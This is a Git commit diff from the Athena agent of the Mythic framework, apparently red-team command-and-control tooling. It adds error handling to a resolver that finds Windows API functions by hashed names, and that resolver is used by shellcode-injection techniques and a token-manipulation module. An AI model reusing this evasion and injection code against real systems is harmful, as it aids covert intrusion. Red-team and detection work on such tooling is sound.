fixed token resolver issue

MythicAgents · Feb 1, 2024 · 3aa02cf · 3aa02cf
1 parent 5ff66ef
commit 3aa02cf
Show file tree

Hide file tree

Showing 5 changed files with 18 additions and 9 deletions.
diff --git a/Payload_Type/athena/athena/agent_code/Agent.Managers.Windows/Resolver.cs b/Payload_Type/athena/athena/agent_code/Agent.Managers.Windows/Resolver.cs
@@ -39,9 +39,10 @@ public static class Resolver
             { "ch", "A009186409957CF0C8AB5FD6D5451A25" }, //CloseHandle
         };
         private static Dictionary<string, IntPtr> entries = new Dictionary<string, IntPtr>();
-        public static bool ResolveFuncs(List<string> funcs, string module)
+        public static bool TryResolveFuncs(List<string> funcs, string module, out string err)
         {
             bool success = true;
+            err = string.Empty;
             if (!entries.ContainsKey(module))
             {
                 if (!map.ContainsKey(module)){
@@ -70,14 +71,22 @@ public static bool ResolveFuncs(List<string> funcs, string module)
                     success = false;
                     return success;
                 }
-                IntPtr funcPtr = Generic.GetExportAddr(entries[module], map[func], key);
+                try { 
+                    IntPtr funcPtr = Generic.GetExportAddr(entries[module], map[func], key);
 
-                if(funcPtr == IntPtr.Zero)
+                    if(funcPtr == IntPtr.Zero)
+                    {
+                        success = false;
+                        return success;
+                    }
+                    entries.Add(func, funcPtr);
+                }
+                catch (Exception e)
                 {
+                    err = string.Format("Failed to resolve function {0} in module {1}. Error:\r\n{2}", func, module, e.ToString());
                     success = false;
                     return success;
                 }
-                entries.Add(func, funcPtr);
             }
 
             return success;

diff --git a/Payload_Type/athena/athena/agent_code/Agent/Agent.csproj b/Payload_Type/athena/athena/agent_code/Agent/Agent.csproj
@@ -94,6 +94,7 @@
 		<ProjectReference Include="..\tail\tail.csproj" />
 		<ProjectReference Include="..\test-port\test-port.csproj" />
 		<ProjectReference Include="..\timestomp\timestomp.csproj" />
+		<ProjectReference Include="..\token\token.csproj" />
 		<ProjectReference Include="..\upload\upload.csproj" />
 		<ProjectReference Include="..\uptime\uptime.csproj" />
 		<ProjectReference Include="..\wget\wget.csproj" />

diff --git a/Payload_Type/athena/athena/agent_code/inject-shellcode/Techniques/ClassicInjection.cs b/Payload_Type/athena/athena/agent_code/inject-shellcode/Techniques/ClassicInjection.cs
@@ -35,7 +35,7 @@ private bool Run(IntPtr target, byte[] shellcode)
                 "crt"
             };
 
-            if (!Resolver.ResolveFuncs(resolveFuncs, "k32"))
+            if (!Resolver.TryResolveFuncs(resolveFuncs, "k32", out var err))
             {
                 return false;
             }

diff --git a/Payload_Type/athena/athena/agent_code/inject-shellcode/Techniques/MapViewOfSection.cs b/Payload_Type/athena/athena/agent_code/inject-shellcode/Techniques/MapViewOfSection.cs
@@ -33,7 +33,7 @@ private bool Run(byte[] shellcode, IntPtr htarget)
                 "rcut"
             };
 
-            if (!Resolver.ResolveFuncs(resolveFuncs, "ntd"))
+            if (!Resolver.TryResolveFuncs(resolveFuncs, "ntd", out var err))
             {
                 return false;
             }

diff --git a/Payload_Type/athena/athena/agent_code/token/token.cs b/Payload_Type/athena/athena/agent_code/token/token.cs
@@ -33,12 +33,11 @@ public async Task Execute(ServerJob job)
                 "lgu",
                 "opt",
                 "dte",
-                "ch"
             };
 
-            if(!Resolver.ResolveFuncs(funcs, "aa32"))
+            if(!Resolver.TryResolveFuncs(funcs, "aa32", out var err))
             {
-                await messageManager.WriteLine("Failed to get exports", job.task.id, true, "error");
+                await messageManager.WriteLine(err, job.task.id, true, "error");
                 return;
             }